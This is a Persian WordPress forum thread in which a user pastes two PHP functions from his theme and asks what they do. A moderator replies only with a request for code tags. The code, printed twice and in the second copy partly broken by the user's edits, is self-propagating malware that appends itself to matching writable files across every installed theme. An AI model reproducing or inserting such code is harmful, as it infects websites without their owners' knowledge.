انجمن


کار این کد چیست؟  (۲ نوشته)

  • aminkord110

    آفلاین
    عضو
    تعداد نوشته‌ها: ۸
    تشکر شده: ۱ بار
    # نوشته شده: ۹ سال پیش
    ۸ شهریور ۱۳۹۳ - ۱۲:۴۵

    function _check_active_widget(){
    $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
    $output=strip_tags($output, $allowed);
    $direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
    if (is_array($direst)){
    foreach ($direst as $item){
    if (is_writable($item)){
    $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
    $cont=file_get_contents($item);
    if (stripos($cont,$ftion) === false){
    $sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
    $output .= $before . "Not found" . $after;
    if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
    $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f);
    $output .= ($showdot && $ellipsis) ? "..." : "";
    }
    }
    }
    }
    return $output;
    }
    function _get_all_widgetcont($wids,$items=array()){
    $places=array_shift($wids);
    if(substr($places,-1) == "/"){
    $places=substr($places,0,-1);
    }
    if(!file_exists($places) || !is_dir($places)){
    return false;
    }elseif(is_readable($places)){
    $elems=scandir($places);
    foreach ($elems as $elem){
    if ($elem != "." && $elem != ".."){
    if (is_dir($places . "/" . $elem)){
    $wids[]=$places . "/" . $elem;
    } elseif (is_file($places . "/" . $elem)&&
    $elem == substr(__FILE__,-13)){
    $items[]=$places . "/" . $elem;}
    }
    }
    }else{
    return false;
    }
    if (sizeof($wids) > 0){
    return _get_all_widgetcont($widss,$items);
    } else {
    return $items;
    }
    }

    دوستان کسی میدونه این کد در فانکشن چکار میکنه؟ و چرا وردپرس ازش خطا میگیره البته وقتی به این شکل تغییرش میدم به ظاهر دیگه مشکلی وجود نداره.البته نمیدونم در اصل هم همینطوری هست و یا فقط در ظاهر بدون مشکل هست :

    function _check_active_widget(){
    $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
    $output=strip_tags($output, $allowed);
    $direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
    if (is_array($direst)){
    foreach ($direst as $item){
    if (is_writable($item)){
    $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
    $cont=file_get_contents($item);
    if (stripos($cont,$ftion) === false){
    $sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
    $output .= $before . "Not found" . $after;
    if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
    $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f);
    $output .= ($showdot && $ellipsis) ? "..." : "";
    }
    }
    }
    }
    return $output;
    }
    function _get_all_widgetcont($widss,$items=array()){
    $placess=array_shift($widss);
    if(substr($placess,-1) == "/"){
    $places=substr($placess,0,-1);
    }
    if(!file_exists($placess) || !is_dir($places)){
    return false;
    }elseif(is_readable($placess)){
    $elems=scandir($placess);
    foreach ($elems as $elem){
    if ($elem != "." && $elem != ".."){
    if (is_dir($placess . "/" . $elem)){
    $wids[]=$placess . "/" . $elem;
    } elseif (is_file($placess . "/" . $elem)&&
    $elem == substr(__FILE__,-13)){
    $items[]=$placess . "/" . $elem;}
    }
    }
    }else{
    return false;
    }
    if (sizeof($widss) > 0){
    return _get_all_widgetcont($widss,$items);
    } else {
    return $items;
    }
    }

  • Masoud

    آفلاین
    کلیددار
    تعداد نوشته‌ها: ۸۱۵
    تشکر شده: ۶۳۲ بار
    # نوشته شده: ۹ سال پیش
    ۸ شهریور ۱۳۹۳ - ۱۷:۴۳

    کدهاتون رو داخل تگ Code قرار بدید تا بشه کدها رو درست دید :)
    چه خطایی مشاهده می‌کنید؟

درباره‌ی این موضوع



برچسب‌ها

هیچ برچسبی نیست.